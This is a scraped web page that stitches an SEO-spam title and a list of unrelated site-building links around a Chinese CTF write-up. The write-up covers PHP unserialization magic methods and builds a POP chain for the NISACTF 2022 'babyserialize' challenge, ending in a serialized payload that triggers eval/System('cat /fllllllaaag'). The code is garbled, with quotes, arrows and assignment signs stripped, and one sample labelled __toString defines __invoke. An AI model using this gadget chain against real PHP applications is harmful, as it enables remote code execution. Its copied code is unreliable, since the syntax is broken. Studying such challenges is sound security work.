当前位置: 首页 > news >正文

校史网站开发技术自己做网站都要什么软件

校史网站开发技术,自己做网站都要什么软件,塘厦镇网站建设,长安网站制作公司php中#xff0c;序列化和反序列化是相对的两个过程#xff0c;序列化是把变量或对象转化成字符串的过程 反序列化是把字符串转换为变量过着对象的过程 在php的反序列化中#xff0c;存在类#xff0c;当类被以特定的方式就会触发魔术方法#xff0c;在实行序列化的过程…php中序列化和反序列化是相对的两个过程序列化是把变量或对象转化成字符串的过程 反序列化是把字符串转换为变量过着对象的过程 在php的反序列化中存在类当类被以特定的方式就会触发魔术方法在实行序列化的过程中合理的调用魔术方法是能成功的关键尤其在pop链的构造中需要在多个类中调用不同的魔术方法来构成完整正确的链。对于pop链的构造优先找到链尾明确了在链尾需要调用到什么魔术方法来实现再往上反推 记录一下目前为止我遇到过的魔术方法 _construct(),构造函数当在实例化一个对象时会被调用也就是new一个对象时会调用 ?php class G{public $user;public function __construct(){$this-user $user;echo __construct test;}} $g new G; echo serialize($g) _destruct()折构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行在new完一个对象后如果有赋值的指像那么就会丢弃并触发__destruct,在new和unserialize时会触发 ?php class G{public $user;public function __destruct(){$this-user $user;echo __destruct test;}} $g new G; $aserialize($g); echo unserialize($a); ? _invoke()函数用调用函数的方法调用一个对象 ?php class G{public $user;public function __invoke(){eval($this-$user);}} $g new G; ? _toString(),对象被当做字符串调用时触发或者echo时触发 ?php class G{public $user;public function __invoke(){system($this-$user);}} $g new G; echo $g; ? _wakeup()执行unserialize时触发这个函数又是需要绕过绕过的方法就是让我们构造的序列化的字符串中的对象数量大于真实存在的数量就可以了因为反序列化的过程中php会忽略掉多出来的数据 看看题吧 [SWPUCTF 2021 新生赛]no_wakeup http://t.csdnimg.cn/uG79E [NISACTF 2022]babyserialize 先看源代码有4个类需要构造pop链了 ?php include waf.php; class NISA{public $funshow_me_flag;public $txw4ever;public function __wakeup(){if($this-funshow_me_flag){hint();}}function __call($from,$val){$this-fun$val[0];}public function __toString(){echo $this-fun;return ;}public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} }class TianXiWei{public $ext;public $x;public function __wakeup(){$this-ext-nisa($this-x);} }class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this-huang-fun$arg[0];}public function __toString(){$bb $this-su;return $bb();} }class four{public $aTXW4EVER;private $funabc;public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);}} }if(isset($_GET[ser])){unserialize($_GET[ser]); }else{highlight_file(__FILE__); }//func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //}//function hint(){ // echo .......; // die(); //} ? 构建pop链要先找到链尾链尾有什么特征呢一般链尾都是具有evalinclude这些高危函数能够让我们利用来获取flag的地方 public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} eval函数很明显就是能够利用获取flag的位置作为链尾然后开始反推要先触发invoke对象才会执行eval函数invoke函数在将对象以函数的形式调用时触发到所有类中寻找调用函数的 public function __toString(){$bb $this-su;return $bb(); 下一步触发tostring函数寻找调用字符串的找到strtolower函数该函数是将字符串转换成小写 public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);} __set(),在对不存在或者不可访问的成员变量进行赋值就会自动调用去寻找类中没被定义的变量fun是没有被定义的所以不存在 public function __call($fun1,$arg){$this-huang-fun$arg[0];} _call调用一个不可访问的方式触发调用了nisa但是这个类中不存在因此无法访问 public function __wakeup(){$this-ext-nisa($this-x);} 现在的wakeup又回到了NISA一条pop链就完成了 ?php class NISA{public $fun123;public $txw4everSystem(cat /fllllllaaag );;public function __wakeup(){if($this-funshow_me_flag){hint();}}function __call($from,$val){$this-fun$val[0];}public function __toString(){echo $this-fun;return ;}public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} }class TianXiWei{public $ext;public $x;public function __wakeup(){$this-ext-nisa($this-x);} }class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this-huang-fun$arg[0];}public function __toString(){$bb $this-su;return $bb();} }class four{public $aabc;private $funsixsixsix;public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);}} } $nnew NISA; $inew Ilovetxw; $i-su$n; $fnew four; $f-a$i; $inew Ilovetxw; $i-huang$f; $tnew TianXiWei; $t-ext$i; echo urlencode(serialize($t)); ?
http://www.pierceye.com/news/582808/

相关文章:

  • 如何在公司系统建网站广州短视频seo哪家好
  • 电气网站开发福安网站定制
  • 推荐一下做图文的网站html简单的个人网页代码
  • 网页新建站点网站建设缺陷
  • 移动端网站推广怎么申请pc网站域名
  • 外国男男做暧暧视频网站二级建造师考试试题
  • 普通网站建设是什么wordpress主题显示不
  • 朔州网站建设全球速卖通是什么平台
  • wordpress外贸网站好用的模板下载网站开发就业趋势
  • 长春模板建站代理网站开发嘉比格网络
  • 网站建设预算企业网站的公司和产品信息的介绍与网络营销关系
  • 网站开发的学习电子商务网站建设公
  • 网站的功能需求分析c语言网页编辑器
  • 网站投资多少钱制作做的网站如何上传网上
  • 沈阳自助建站模板网站建设想法
  • 湖南岳阳网站建设公司黄页顺企网怎样不让网站被收录
  • 有没有专门做翻译的网站安徽建设工程信息网招标公告
  • 保险咨询网站留电话中国十大网络公司排行榜
  • 领手工在家做的网站2019网页设计与实现论文
  • 兰州微信信息平台网站建设绍兴本地网站建设
  • 关于旅游网站策划书千锋前端培训多少钱
  • 温州网站建设结构做代练网站能备案
  • 零基础学习做网站第三方装修评估公司
  • 基础微网站开发动态网站彩票投注员做啥的
  • 西安做网站设计公司爱做网站免费版
  • 效果图网站接单重庆一般建一个网站需要多少钱
  • 网站建设征求意见稿辅料企业网站建设费用
  • 上海网站建设公司服务沅江网站制作
  • 公司网站开发费用计入什么科目虚拟主机怎么建网站
  • 天津网站建设技术网页设计与制作教程版徐洪亮课后答案